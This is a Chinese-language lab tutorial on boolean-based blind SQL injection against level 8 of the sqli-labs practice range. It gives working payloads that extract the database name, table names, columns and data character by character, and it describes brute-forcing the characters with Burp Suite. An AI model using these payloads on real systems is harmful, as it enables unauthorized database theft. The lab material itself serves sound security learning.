sql注入--布尔盲注

sql注入–布尔盲注

靶场:sqli-labs-master
下载链接:靶场下载链接

第8关 盲注
php源码

';
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '';	
  	echo 'You are in...........';
  	echo "
"; echo "
"; } else { echo ''; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "
"; echo ''; } } else { echo "Please input the ID as parameter with numeric value";} ?>

盲注分为
1.布尔类型
只会返回True或者False
2.时间盲注
通过sleep函数,使用F12观察加载时间的变化判断是否猜解是否正确

一.布尔盲注
例如输入?id=1
返回 you are in…
sql注入--布尔盲注_第1张图片
输入 ?id=1000
页面无返回信息
sql注入--布尔盲注_第2张图片

再测试?id=’sql注入--布尔盲注_第3张图片
也没有回显。那么这种没有回显点的就称为盲注

盲注需要用到一些函数
1.substr() 截取字符串
2.length() 返回字符串长度
3.ascii() 返回字符串的ASCII码
4.sleep() 程序执行延迟()秒
5.if(exp1,exp2,exp3) 如果exp1正确,就执行exp2,否正执行exp3

由于盲注没有回显,所以只能通过逻辑语句比如and 来判断我们执行的语句是否成功
①.猜解数据库名长度

SELECT * FROM users WHERE id='1' and (length(database()))=8 -- ' LIMIT 0,1

(–为注释+表示空格,与%23即#作用相同)

sql注入--布尔盲注_第4张图片
8有回显
sql注入--布尔盲注_第5张图片
换成其他如9无回显
说明猜解出数据库名长度为8

②.然后就可以猜解数据库名
使用语句 ?id=’ and (ascii(substr(database(),1,1)))=115 --+
(substr(database(),1,1)表示从database()第一个字符开始截取,一共截取1个字符,然后使用ascii取得这个字符的ASCII码进行判断是否为ASCII码为115对应的字符

SELECT * FROM users WHERE id='1' and (ascii(substr(database(),1,1)))=115 -- ' LIMIT 0,1

sql注入--布尔盲注_第6张图片
通过此语句猜解出数据库名的第一个字符为ASCII码为115对应的字符即:s

然后可以使用burpsuite工具抓包通过爆破帮助我们快速破解剩下的字符
使用火狐浏览器,设置代理
sql注入--布尔盲注_第7张图片
sql注入--布尔盲注_第8张图片
抓包
sql注入--布尔盲注_第9张图片
发送到burpsuite的爆破模块
sql注入--布尔盲注_第10张图片
然后进行清除和设置要爆破的变量
sql注入--布尔盲注_第11张图片
设置115为要爆破的变量
设置payload,ascii码从0到127
sql注入--布尔盲注_第12张图片
然后开始攻击
sql注入--布尔盲注_第13张图片
可以看到,burpsuite将每个ASCII码都进行了尝试
只需要点击length查看与其他结果不同的ASCII码值
sql注入--布尔盲注_第14张图片
可以看到,当使用ASCII码101尝试时,返回结果为you are in,故可以得到database()的第二个字符为ASCII码为101对应的字符,即:e

同理可以获取剩余字符信息
sql注入--布尔盲注_第15张图片
只需将此处改为3 4 5 6 7 8 然后同上即可
得到数据库名称为security

③.猜解字段名

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=115 --+

同样使用burpsuite抓包
然后爆破
sql注入--布尔盲注_第16张图片
sql注入--布尔盲注_第17张图片

sql注入--布尔盲注_第18张图片

sql注入--布尔盲注_第19张图片
说明第一个表名对应的字符ASCII码为101 即:e
其他字符同理
得到表名为emails
其他表同理

④.取表中的字段信息
查询语句可参考前面的文章
sql注入–报错型

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=115 --+

⑤.取表中的数据

?id=1' and (ascii(substr((select email_id from emails where id= limit 0,1),1,1)))=115 --+

你可能感兴趣的:(sql,安全,php)